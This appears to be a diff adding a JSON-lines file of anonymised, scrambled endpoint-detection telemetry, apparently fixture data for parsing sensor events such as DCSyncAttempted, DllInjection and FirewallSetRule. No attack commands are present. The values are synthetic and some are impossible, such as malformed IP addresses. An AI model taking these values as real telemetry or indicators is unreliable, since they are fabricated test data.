+{"AsepFlags":"0","ContextThreadId":"970373501024004","aip":"81.2.69.144","RegObjectName":"\\85aaee17\\92b7\\f33b4a1f\\02413\\4e7075fa\\25f3666b","Data1":"31","RegOperationType":"1","event_platform":"Win","TokenType":"1","TargetCommandLineParameters":"8 -c07e1208b8efbe","EventOrigin":"1","id":"1165d56b44df464d4a3dd26905c78ac2c7e5","EffectiveTransmissionClass":"3","RegStringValue":"5f20a496dc8 5a466679365aa2804afae1a00b30b36c79e668eb74694db65d32d3 -c07e1208b8efbe","timestamp":"1743508799999","event_simpleName":"AsepValueUpdate","ContextTimeStamp":"1756280738.081","ConfigStateHash":"204061009","RegType":"1","ContextProcessId":"47593002510450","AsepClass":"94","AsepIndex":"600","AuthenticationId":"7054705","ConfigBuild":"2c8b.4.ae3729d.e6","RegValueName":"","AsepValueType":"0","TargetSHA256HashData":"36e5b125bb636648d267e966435b7e650acf78c002f65d07d282e501838a0906","Entitlements":"96","name":"8f3c176fdab74b6c9","aid":"f929742c2e4bd22b1829b6206b1dc84b","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\9134161b\\f5be3\\e5cdd471\\94554fd8.exe"}
+{"ContextThreadId":"615659447400000","aip":"81.2.69.142","event_platform":"Win","TokenType":"1","EventOrigin":"1","InterfaceGuid":"3c1edad779c6920ba025d32fc1d69997cc40","RpcClientProcessId":"4508060034060","id":"eedef0c0fc042e28949c251e42e913cb3fe6","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"BITSJobCreated","ContextTimeStamp":"1749668048.903","UserName":"d38b4ca4","ConfigStateHash":"9968901000","ContextProcessId":"3100000500830","InterfaceVersion":"0","RpcClientThreadId":"207001810400038","AuthenticationId":"70760008","ConfigBuild":"2c8b.4.ae3729d.e6","RpcOpNum":"4","Entitlements":"76","name":"11cf958b636de07e","aid":"082e3fde13bab854ebe72df7d1543cae","RpcNestingLevel":"0","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\6b0cc\\d38b4ca4\\0f51ad6\\8c31e\\d62f\\6\\1e547bc1\\7c2816f5.crx3"}
+{"ThreadStartAddress":"800560009080720","InjectedThreadFlag":"2","ContextThreadId":"500030143990970","aip":"89.160.20.128","event_platform":"Win","UserThread":"1","EventOrigin":"1","id":"f6f3399ea7912626def5330fbc430ff02ac2","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"BrowserInjectedThread","TargetThreadId":"104623560606010","RawProcessId":"76850","ContextTimeStamp":"1757533928.090","ConfigStateHash":"50820000","ContextProcessId":"1107334096070","ThreadStartContext":"0","ConfigBuild":"2c8b.4.ae3729d.e6","TargetProcessId":"7011710205985","Entitlements":"76","name":"126bc261e48aa7159043700","RawThreadId":"20602","aid":"1b044c25005f7f866e92ee245376c69e","SourceThreadStartAddress":"380906022020800","cid":"4092825518eaf67377a6e4492ae44577"}
+{"event_simpleName":"CommandHistory","CommandHistory":"41c56f9bd5471921f1ad5eb1eaa88bd7d4dcce1feb86682fa","FirstCommand":"0","CommandCountMax":"983","ApplicationName":"7371f07","ConfigStateHash":"7040662006","LastDisplayed":"0","aip":"81.2.69.192","LastAdded":"2","ConfigBuild":"2c8b.4.bab7095.e6","event_platform":"Win","TargetProcessId":"3502200260267","Entitlements":"96","name":"b42a7420dfe70b77","EventOrigin":"1","id":"7f67dc98da59af9b207392dd643b6696521d","CommandCount":"3","EffectiveTransmissionClass":"3","aid":"985fa1e64b797b6a5e673a83fdc68828","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
+{"RemoteAddressIP6":"2a02:cf40::2","ObjectNameEtw":"4355e623406251da1e189448d464d6e80e14d22","aip":"81.2.69.144","UserSid":"S-25368-38230-13235","event_platform":"Win","ObjectTypeEtw":"4355e623406251da1e189448d464d6e80e14d22","ClientComputerName":"-","EventOrigin":"45","id":"027ea26f253aa77e2fcf588772b9d2d6f37c","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"DCSyncAttempted","ContextTimeStamp":"1749398112.834","UserName":"1611e7b","ConfigStateHash":"3400520000","EtwRawProcessId":"835","ContextProcessId":"7067360709400","SubjectDomainNameEtw":"61","AuthenticationId":"6420000067","ServiceAccessPropertiesEtw":"f09108f09a58a2500acb1467b469a2482115dae25b82b71b7551ed70600a57e9","ConfigBuild":"2c8b.4.ae3729d.e6","Entitlements":"46","name":"68a40a05895ff9a35","aid":"350ffb0329569649f8bac872d658cbfc","cid":"4092825518eaf67377a6e4492ae44577"}
+{"aip":"216.160.83.56","BoundingLimitCount":"1","UserSid":"S-86813-72426-80065-35729-11846-72517-75085","AllowlistingFilterId":"a3ea8710853f4e1e7","event_platform":"Win","PatternId":"607","EventOrigin":"5","ContextData":"","id":"01a0844d7700635d462669bbadb475d7dcf1","EventCorrelationId":"07103f94d0545ee24951b8c8ce76a5023743","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"DetectionExcluded","ContextTimeStamp":"1758023898.952","ConfigStateHash":"4080600092","ConfigBuild":"2c8b.4.ae3729d.e6","CommandLine":"82\\ab7e5c1\\d24e5507\\12ab4d0.exe /Processid:{e3b0c442-e3b0-e3b0-e3b0-e3b0c44298fc}","TargetProcessId":"6010945098000","BoundingLimitDuration":"3486640","ImageFileName":"\\6ba0bd\\447b992c\\d598026\\d24e5507\\7d7f62b.exe","ExclusionType":"1","Entitlements":"56","name":"b7f0eea0ced34df529cc","ExclusionSource":"5","aid":"016ef640d4add7c7c7e72a5bfc4198c0","cid":"4092825518eaf67377a6e4492ae44577"}
+{"Options":"53790000","ContextThreadId":"32005063951800","MinorFunction":"0","aip":"81.2.69.192","FileIdentifier":"28476710775acf368038686c22c97be5f159b0efaeb459a6","Information":"2","event_platform":"Win","ShareAccess":"3","EventOrigin":"1","id":"245b89777adfd68f4020de1758e56c4467f6","FileObject":"0","EffectiveTransmissionClass":"3","FileAttributes":"274","timestamp":"1743508799999","Status":"0","event_simpleName":"DirectoryCreate","ContextTimeStamp":"1759459284.824","ConfigStateHash":"710307050","ContextProcessId":"7173090406564","IrpFlags":"2500","HandleCreateAuthenticationId":"4000900","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","DesiredAccess":"5065411","Entitlements":"66","name":"b44ad77e88405a082","OperationFlags":"0","aid":"cd2ef6603266196efe9f1ac402a1586a","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\6b0cc\\7392ca2\\0f51ad6\\813ded8\\c7bac469\\d598026\\43ae32\\664edf91"}
+{"event_simpleName":"DllInjection","TargetThreadId":"505479000700240","RawProcessId":"7310","ThreadStartAddress":"947500501770690","InjectedThreadFlag":"530","ContextTimeStamp":"1758159328.572","ConfigStateHash":"540271348","ContextProcessId":"3006607000981","ContextThreadId":"140004900194068","aip":"81.2.69.192","ThreadStartContext":"9177300087920","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","TargetProcessId":"3000303437040","Entitlements":"96","name":"8b6eec62b5f5f7","EventOrigin":"1","RawThreadId":"5008","id":"92855d0df8f2251c1dfe0bd7d56a97128a25","EffectiveTransmissionClass":"3","aid":"8fb3daf730de8e73c353f0c4137a51b5","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","InjectedDll":"82\\9134161b\\f3acb4df\\a89bcae.dll"}
+{"FileOperatorSid":"S-13859-13680-73630","ContextBaseFileName":"77b1704b6a85","FileCategory":"9","Size":"50050070","ContextThreadId":"600003001070039","MinorFunction":"0","aip":"81.2.69.142","IsOnNetwork":"0","FileIdentifier":"c4b36cdfcd6d35ec22308c305c6a5bfa78d4446695d532ae","event_platform":"Win","TokenType":"1","EventOrigin":"1","DiskParentDeviceInstanceId":"835\\b9e65ff8\\c23eadb9","id":"b44b58becebd48898306ffd6600bf3f42c16","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"DmpFileWritten","ContextTimeStamp":"1746804138.874","ConfigStateHash":"450007109","ContextProcessId":"60860076031000","IrpFlags":"0","AuthenticationId":"864","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.bab7095.e6","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","Entitlements":"16","name":"bf62ca8a93b1c6730","OperationFlags":"0","aid":"61f77498beebf89847bcda33f8541689","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\74d33d26\\d598026\\6666d9f1\\d140261e\\0f51ad6\\8c31e\\036b01a3\\50f6b654.dmp"}
+{"ContextBaseFileName":"c43bc2658","DnsResponseType":"2","IP4Records":"14.241.850.329;92.242.918.779;32.139.851.764;37.484.149.009;06.463.424.022;75.649.915.217;42.359.155.282;01.799.300.833;","ContextThreadId":"908409701000008","aip":"81.2.69.142","CNAMERecords":"0242a563bf947794c2b4356c60c170cba5a45849f27dc9ddb05558f3e3d37823","QueryStatus":"0","InterfaceIndex":"0","event_platform":"Win","DualRequest":"1","EventOrigin":"1","id":"77a6567f5ba2f4450eb816e24c5b0258f4b5","EffectiveTransmissionClass":"3","FirstIP4Record":"216.160.83.56","timestamp":"1743508799999","event_simpleName":"DnsRequest","ContextTimeStamp":"1748744822.996","ConfigStateHash":"1263130834","ContextProcessId":"5002051210496","DomainName":"2ca55df2a79d27d771dacfc7ae97","RespondingDnsServer":"89.160.20.112","ConfigBuild":"2c8b.4.ae3729d.e6","DnsRequestCount":"1","Entitlements":"56","name":"76e889534419","aid":"98148f3ab8db6d0cad5ad44fc9f4f5c7","cid":"4092825518eaf67377a6e4492ae44577","RequestType":"59"}
+{"ThreadStartAddress":"90100003090313109007","InjectedThreadFlag":"85","ContextThreadId":"100705003833870","aip":"81.2.69.142","event_platform":"Win","UserThread":"0","EventOrigin":"1","id":"14a56745976c34e322ccc9af234e692acf35","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"DocumentProgramInjectedThread","TargetThreadId":"209175000090105","RawProcessId":"90010","ContextTimeStamp":"1762971058.579","ConfigStateHash":"2080025170","ContextProcessId":"7202603200007","ThreadStartContext":"60307800056300500065","ConfigBuild":"2c8b.4.bab7095.e6","TargetProcessId":"7602000306800","Entitlements":"96","name":"107f10bd7e2cf68ce87171d8f974b76","RawThreadId":"53040","aid":"73204dfc79175de6cc76f2ae7674dc76","SourceThreadStartAddress":"970004800500552","cid":"4092825518eaf67377a6e4492ae44577"}
+{"AuthenticodeHashDataSHA256":"1645e9642007207f17d4a71d3e4e9e65ac42ce640f5fdfb7a12343c87865f65f","ContextThreadId":"85060031003208","aip":"81.2.69.142","CompanyName":"5951da04edaa9198b1b04","event_platform":"Win","OriginalFilename":"c11d9e9772e","FileVersion":"359b2589a3456ff7703750b83f34717d70893f","ImageCheckSum":"30890","EventOrigin":"45","id":"8f8e5d48a0828ec900552833b592f6bf3137","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"DriverLoad","ContextTimeStamp":"1750118563.660","ConfigStateHash":"4001039063","ContextProcessId":"917013009605","DriverLoadFlags":"0","ImageEntryPoint":"60900","MD5HashData":"7d60d20014499abbe980e8a3e9d3e480","SHA256HashData":"eda078559539e1ddf5f425d3e5263caa0898368aadb13ddf92bb23154540cf6a","ConfigBuild":"2c8b.4.ae3729d.e6","FixedFileVersion":"4a.5.36b21.78c5","ImageFileName":"\\6ba0bd\\447b992c\\d598026\\dc9ec376\\a715181\\2080358.sys","ImageTimeStamp":"7506201701","Entitlements":"96","name":"971d60ec4961","aid":"eb87d6ed52531c4d56701eb0f3bdef5d","cid":"4092825518eaf67377a6e4492ae44577"}
+{"FileOperatorSid":"S-12089-81901-75723-71071-93418-35753-29602","ContextBaseFileName":"4e526e33d5","FileCategory":"4","Size":"100488","ContextThreadId":"118504067206871","MinorFunction":"0","aip":"81.2.69.144","IsOnNetwork":"1","FileIdentifier":"78106833f17fd4e9058f72f38c91f6f1a8740d4b81d7e286","event_platform":"Win","TokenType":"1","EventOrigin":"1","id":"1a93966150b37eeb4506fb5d576569366fbe","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"DwgFileWritten","ContextTimeStamp":"1763142957.475","ConfigStateHash":"2080025170","ContextProcessId":"5924007850208","IrpFlags":"0","AuthenticationId":"8650000","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.bab7095.e6","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","Entitlements":"66","name":"73a9d655524e1b4a5","OperationFlags":"0","aid":"8a519558e0f7e42814948bf046b8e5c8","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\fef\\778d6b84\\cf0dca8d\\e747bc\\a4d268\\0d\\0caedded\\04e2a972\\0a032162\\1ce31250\\ab51ae45\\70acbb39\\bbac47ce.tmp"}
+{"ExitCode":"0","ParentProcessId":"2000300900003","ContextThreadId":"632014600074400","aip":"216.160.83.56","ConHostId":"6810","UserSid":"S-78552-69545-47377","CycleTime":"380603073","event_platform":"Win","ConHostProcessId":"2000300900003","MaxThreadCount":"7","EventOrigin":"45","ImageSubsystem":"2","id":"f3b8bd9b2757d9904f845a44ff61827fa755","EffectiveTransmissionClass":"3","timestamp":"1743508799999","KernelTime":"0","UserTime":"0","event_simpleName":"EndOfProcess","RawProcessId":"42084","ContextTimeStamp":"1758502938.869","ConfigStateHash":"710307050","ContextProcessId":"5040620588024","SHA256HashData":"f2d9a06bd0492ecb6f4a35bede5270e5171bc007ed72f3ec451b3de842639423","ConfigBuild":"2c8b.4.ae3729d.e6","TargetProcessId":"8040620588024","Entitlements":"46","name":"e8d15f653d9c08b","ProcessStartTime":"1745927326.269","aid":"3b473364ed16d25221bdb0b435aac52a","cid":"4092825518eaf67377a6e4492ae44577"}
+{"event_simpleName":"ExecutableDeleted","ContextTimeStamp":"1754418925.502","ConfigStateHash":"710307050","ContextProcessId":"9001004100012","IrpFlags":"1730","ContextThreadId":"560346007270302","MinorFunction":"0","aip":"216.160.83.56","FileIdentifier":"1d0d53208eb718270bdec907f1debfa0a9e88658a55f9330","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","MajorFunction":"40","Entitlements":"96","name":"a1721c8914da805eb47","EventOrigin":"1","OperationFlags":"0","id":"b43f550a47cfaab7904ddcd4c778b2d7d2e1","FileObject":"0","EffectiveTransmissionClass":"3","aid":"39074f37291ca6f2d189c1e110e04dfc","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\d598026\\dc9ec376\\a715181\\b169fe25\\40a20853\\b19eb57e.exe\\b62491c6\\6ffbd0fe.exe"}
+{"event_simpleName":"FileDeleteInfo","ContextTimeStamp":"1758466867.856","ConfigStateHash":"3440491101","ContextProcessId":"920132208508","ContextThreadId":"549000000070475","aip":"81.2.69.192","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","TreeId":"400800208204","Entitlements":"56","name":"e1326813e53e44b4","EventOrigin":"3","id":"f17c8a57d6ffa5f985caf45f729cb254772a","EffectiveTransmissionClass":"3","aid":"e1a82faad25f1bc57da5f8b7457d9014","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\74d33d26\\9134161b\\b169fe25\\44ca.TMP"}
+{"Status":"0","event_simpleName":"FileOpenInfo","ContextTimeStamp":"1762335422.843","ConfigStateHash":"9250777000","ContextProcessId":"9011580900835","ContextThreadId":"920000001740500","aip":"216.160.83.56","ConfigBuild":"2c8b.4.bab7095.e6","event_platform":"Win","ShareAccess":"7","DesiredAccess":"5040660","TreeId":"250760900008","Entitlements":"26","name":"c4a834c02a00fb","EventOrigin":"3","id":"46a19a602437699cf4aefb060e91441ba891","EffectiveTransmissionClass":"3","aid":"ea08505420aa828a0a52a6eed3c8a196","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\9134161b\\b169fe25\\4e7075fa.key"}
+{"event_simpleName":"FileRenameInfo","ContextTimeStamp":"1758191223.574","ConfigStateHash":"40820000","ContextProcessId":"50314320728270","SourceFileName":"\\6ba0bd\\539d13bb\\303abfe3\\64211dc1\\4feae\\49830210.WibuCmActDyn","ContextThreadId":"794611930067120","aip":"81.2.69.142","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","TreeId":"407060334007","Entitlements":"36","name":"f4407c8e4882cbdd","EventOrigin":"3","id":"2d662aa35187373d94203d08fc2e4e7115c6","EffectiveTransmissionClass":"3","aid":"ca48acb776296fd7a6e35ee8c4bbde6d","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\539d13bb\\303abfe3\\64211dc1\\4feae\\754cfa0e.TMP"}
+{"event_simpleName":"FileSystemOperationDetectInfo","ContextTimeStamp":"1761719307.584","ConfigStateHash":"710307050","TemplateDisposition":"40","ContextProcessId":"1000790287600","FileSystemOperationType":"3","TemplateInstanceId":"57521","aip":"216.160.83.56","FsOperationClassification":"67","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","CommandLine":"6725e7","FsOperationClassificationFlags":"1","PatternId":"24871","ImageFileName":"6725e7","Entitlements":"66","name":"b22ddf4c03b1a8b30f84e33786dd87b","EventOrigin":"1","id":"ad8c2e5d31cff1e8cdc3892a874ba4927d1a","EffectiveTransmissionClass":"3","aid":"ca2eedaa43a7333759deb5a0191c5313","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\9134161b\\b169fe25\\71e36eee\\ce423a9b\\a5e333\\3ec061.sst"}
+{"event_simpleName":"FirewallChangeOption","ContextTimeStamp":"1754850825.482","ConfigStateHash":"900805208","FirewallProfile":"1","ContextProcessId":"3001999016003","aip":"89.160.20.128","FirewallOption":"78415d0f02a966","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","Entitlements":"36","name":"bd2f52430b3a6e28fa81dc","EventOrigin":"45","id":"ee4fea12623693e1e2aaf450974ca9068925","FirewallOptionNumericValue":"1","EffectiveTransmissionClass":"3","aid":"ee24e7d1ac6add25f7a7969844ad0df3","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
+{"event_simpleName":"FirewallDeleteRule","ContextTimeStamp":"1747634138.862","ConfigStateHash":"900805208","ContextProcessId":"2001999016003","aip":"89.160.20.112","FirewallRuleId":"{e3b0c442-e3b0-e3b0-e3b0-e3b0c44298fc}","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","Entitlements":"96","name":"73c6cc568a65a7c085e0","EventOrigin":"45","id":"4ee907bd437184018039dbce46b3b7fb9586","EffectiveTransmissionClass":"3","aid":"ee24e7d1ac6add25f7a7969844ad0df3","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
+{"event_simpleName":"FirewallSetRule","ContextTimeStamp":"1751555238.829","ConfigStateHash":"900805208","ContextProcessId":"1001999016003","aip":"81.2.69.144","FirewallRuleId":"{e3b0c442-e3b0-e3b0-e3b0-e3b0c44298fc}","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","Entitlements":"26","name":"e6fc8b7f15db47d1f","EventOrigin":"45","id":"b03302898ff47ac683fe0c4e7679c48615d2","EffectiveTransmissionClass":"3","aid":"ee24e7d1ac6add25f7a7969844ad0df3","FirewallRule":"fb.26|Action=Allow|Active=TRUE|Dir=In|App=C:\\8027a4f5\\97cf27ba\\bc713e9c\\685ac68f.exe|Name=LaunchPortal|Desc=SOM|","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
+{"Options":"94007005","ContextThreadId":"50000395917240","MinorFunction":"0","aip":"216.160.83.56","Information":"1","FileIdentifier":"8b4857694cc53ad00ce1993ae1b2f7dd7e2cb5d73383c306","FltRelatedObjects":"32460687653001750097","event_platform":"Win","ShareAccess":"5","EventOrigin":"1","FltCompletionContext":"53130800032000003010","id":"92f7671f25cc7e1d6c1c2c3958b4a65c9c49","FileObject":"0","EffectiveTransmissionClass":"3","FileAttributes":"0","timestamp":"1743508799999","Status":"0","event_simpleName":"FsPostOpenSnapshotFile","ContextTimeStamp":"1749818799.590","ConfigStateHash":"8080600092","ContextProcessId":"7127089080000","IrpFlags":"2500","HandleCreateAuthenticationId":"830","FltCallbackData":"20591370484490000796","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","DesiredAccess":"3900073","SourceEventUniqueId":"903600070008873043","Entitlements":"96","name":"c7a00dc61cb10ab411c95598","OperationFlags":"0","aid":"d3a1c99f621d3d6474555746950ce9b6","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\da2d906a\\d598026\\dc9ec376\\b79606\\be8"}
+{"aip":"81.2.69.144","event_platform":"Win","TokenType":"2","EventOrigin":"45","InterfaceGuid":"d1c8f153a6a851a17b18fe88f1dbdc9254bf","RpcClientProcessId":"9757071607353","id":"c7017a5199f1e88eb4a44227da2d1a7c8b0d","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"HostedServiceStarted","TargetThreadId":"482081070860200","ContextTimeStamp":"1753416061.221","UserName":"f3c32fdf5aef1041","ConfigStateHash":"3440491101","InterfaceVersion":"0","RpcClientThreadId":"415000840610900","AuthenticationId":"903030080","ServiceDisplayName":"8a7cb45","ConfigBuild":"2c8b.4.ae3729d.e6","TargetProcessId":"6009006000008","ImageFileName":"\\6ba0bd\\447b992c\\d598026\\dc9ec376\\8a7cb45.dll","RpcOpNum":"60","Entitlements":"76","name":"10e85fd7df0a53c38814f5","aid":"22924ad875ce834067bd29857dc11a92","RpcNestingLevel":"1","cid":"4092825518eaf67377a6e4492ae44577"}
+{"event_simpleName":"HostedServiceStopped","TargetThreadId":"51930000290120","ContextTimeStamp":"1758159357.606","ConfigStateHash":"3440491101","aip":"89.160.20.112","ServiceDisplayName":"61b6fb","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","TargetProcessId":"2762512126120","Entitlements":"66","name":"c503d72ad653c0dc87f730","EventOrigin":"1","id":"db2dfa574e4ca1c775249f4fae390c93c57f","EffectiveTransmissionClass":"3","aid":"0400bce96c16b71f27978572adb3d4fd","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
+{"TemplateInstanceId":"5008","aip":"89.160.20.112","HttpRequestHeader":"94cd/394e821c.html HTTP/76a3503a/1b8d6be3/00c0ab07/2cfb9ad5/4e2e1f0b","event_platform":"Win","PatternId":"28450","EventOrigin":"1","id":"5c80fd2a838414022b2f083219c6395b3c6a","ParentCommandLine":"82\\ab7e5c1\\c39d646f.EXE","EffectiveTransmissionClass":"2","timestamp":"1743508799999","HttpInternalSource":"2","event_simpleName":"HttpRequestDetect","ContextTimeStamp":"1754127300.344","UserName":"30d376","ConfigStateHash":"9382309105","ContextProcessId":"4064545006008","HttpUrl":"08cf20/7773b6bd.com/394e821c.html","ConfigBuild":"2c8b.4.ae3729d.e6","CommandLine":"54d\\9134161b\\033b4ae8\\44cb\\440b7488\\0dc8e72.EXE\" /n \"C:\\6b0cc\\30d376\\c4deb08f\\23555a08\\4c840c73.docx\" /o \"\"","ImageFileName":"\\6ba0bd\\447b992c\\9134161b\\033b4ae8\\4813\\440b7488\\0dc8e72.EXE","Entitlements":"36","name":"8d879a136063d7587c6","aid":"561ee5011fb41796a5d3d22ecc19d681","HttpMethod":"1","cid":"4092825518eaf67377a6e4492ae44577"}
+{"ModuleCharacteristics":"86","ContextThreadId":"137030102310","aip":"81.2.69.144","OriginalEventTimeStamp":"1749976122.404","SHA1HashData":"9692067083780606753097782045800757094700","event_platform":"Win","MappedFromUserMode":"1","AuthenticodeHashData":"1025d90d282279e79ede14c4a4916f7c17aa3ac6d2dedb71a5d729a286742c36","EventOrigin":"1","id":"f5638ae317f9e090033436354c7cf5d36549","EffectiveTransmissionClass":"3","ModuleSize":"40360682","timestamp":"1743508799999","event_simpleName":"ImageHash","ContextTimeStamp":"1752117943.580","ConfigStateHash":"5900030004","ContextProcessId":"10705000160","MD5HashData":"896a7b972e546354ae731504897bb216","SHA256HashData":"b04af825f79214304a15028ec496fa629750d2998376793532f6bb3629262fd9","ConfigBuild":"2c8b.4.1403a74.4f","TargetProcessId":"10705000160","ImageFileName":"\\6ba0bd\\447b992c\\9134161b\\42955da6\\10b3abfd\\27b5ee41\\dad56584.exe","Entitlements":"16","name":"dccbe56e7b3","PrimaryModule":"1","aid":"64cded9cf5ef1c609147019ee3184217","SignInfoFlags":"1754009","cid":"4092825518eaf67377a6e4492ae44577"}
+{"ThreadStartAddress":"947500501770690","InjectedThreadFlag":"430","ContextThreadId":"140004900194068","aip":"81.2.69.192","event_platform":"Win","UserThread":"1","TargetThreadModule":"\\63dc8ea2\\1c329924.dll","EventOrigin":"1","id":"5677e0f1c2f59a879c8c966e3f2583d1b374","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"InjectedThread","TargetThreadId":"505479000700240","RawProcessId":"7310","ContextTimeStamp":"1749520856.920","ConfigStateHash":"240271348","ContextProcessId":"3006607000981","ThreadStartContext":"5177300087920","ConfigBuild":"2c8b.4.ae3729d.e6","TargetProcessId":"3000303437040","Entitlements":"36","name":"367b7572c21bead4","RawThreadId":"5008","aid":"8fb3daf730de8e73c353f0c4137a51b5","SourceThreadStartAddress":"984100382000810","cid":"4092825518eaf67377a6e4492ae44577"}
+{"FileOperatorSid":"S-96058-21257-98492","ContextBaseFileName":"d3571e48e3804d61a8d8f51","FileCategory":"1","Size":"58518","ContextThreadId":"60020000009454","MinorFunction":"0","aip":"216.160.83.56","IsOnNetwork":"0","FileIdentifier":"f6d5e5fb805bf40c0b18541da19518120e0c8b72f04940a8","event_platform":"Win","TokenType":"1","EventOrigin":"1","DiskParentDeviceInstanceId":"835\\7f136004\\03bd69ab","id":"162ec74e6e37e7616a81feca0a38cbc4e060","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"JarFileWritten","ContextTimeStamp":"1762090431.810","ConfigStateHash":"90089570","ContextProcessId":"3097482600003","IrpFlags":"0","SHA256HashData":"c2b46dde427de7e0b28c82cdeedc919d8a60e3c8fdcb1565b03b26d576b7f503","AuthenticationId":"830","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","Entitlements":"66","name":"45bc1cac0e68ad976","OperationFlags":"0","aid":"e8709208d980534971098b9a6fb8cf05","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\74d33d26\\d598026\\d62f\\c337ca0.tmp_dir1745907951\\4fad1919.jar"}
+{"FileOperatorSid":"S-93967-95057-39657-2269-87803-54839-16636","ContextBaseFileName":"939905f021b64c","FileCategory":"6","Size":"5007","MinorFunction":"0","ContextThreadId":"67010543097020","aip":"81.2.69.192","IsOnNetwork":"0","FileIdentifier":"f9187305c797616a091da12f20ae9d2efa91b48088627f5e","event_platform":"Win","TokenType":"1","EventOrigin":"1","DiskParentDeviceInstanceId":"835\\b9e65ff8\\fb6901a4","id":"f1d9633f3c4c1752450748ee02e070b772d4","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"JavaClassFileWritten","ContextTimeStamp":"1750434917.905","ConfigStateHash":"3440491101","ContextProcessId":"568260708421","IrpFlags":"0","AuthenticationId":"9006720370","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","Entitlements":"36","name":"f5ccfb1a5e748e3a1361b9","OperationFlags":"0","aid":"2a5a4e5c2a642c985c06f8a712f54c03","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\3edfbf1f\\77d9dc83\\6f9505f\\d6c5e3b\\d199e12\\bba61ca6\\2d931c68.class"}
+{"ThreadStartAddress":"7506925004555","InjectedThreadFlag":"940","ContextThreadId":"7029002010518039","aip":"216.160.83.56","event_platform":"Win","UserThread":"1","EventOrigin":"1","id":"5c016fbc5910db79ac911556c19d9efb88c6","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"JavaInjectedThread","TargetThreadId":"8976303018009002","RawProcessId":"60037","ThreadStartBytes":"9ccbd43213c4cce128ebb1afece9b6e1fc1fa5975d32a036fd154b43248f43de","ContextTimeStamp":"1750712370.441","ConfigStateHash":"1080600092","ContextProcessId":"210000852854060","ThreadStartContext":"7031100880000","ConfigBuild":"2c8b.4.ae3729d.e6","TargetProcessId":"800000030087834","Entitlements":"36","name":"cad7121649b58818d895","RawThreadId":"50455","aid":"2278e50b41a263c2d8421b5135a380a7","SourceThreadStartAddress":"270106100035044","cid":"4092825518eaf67377a6e4492ae44577"}
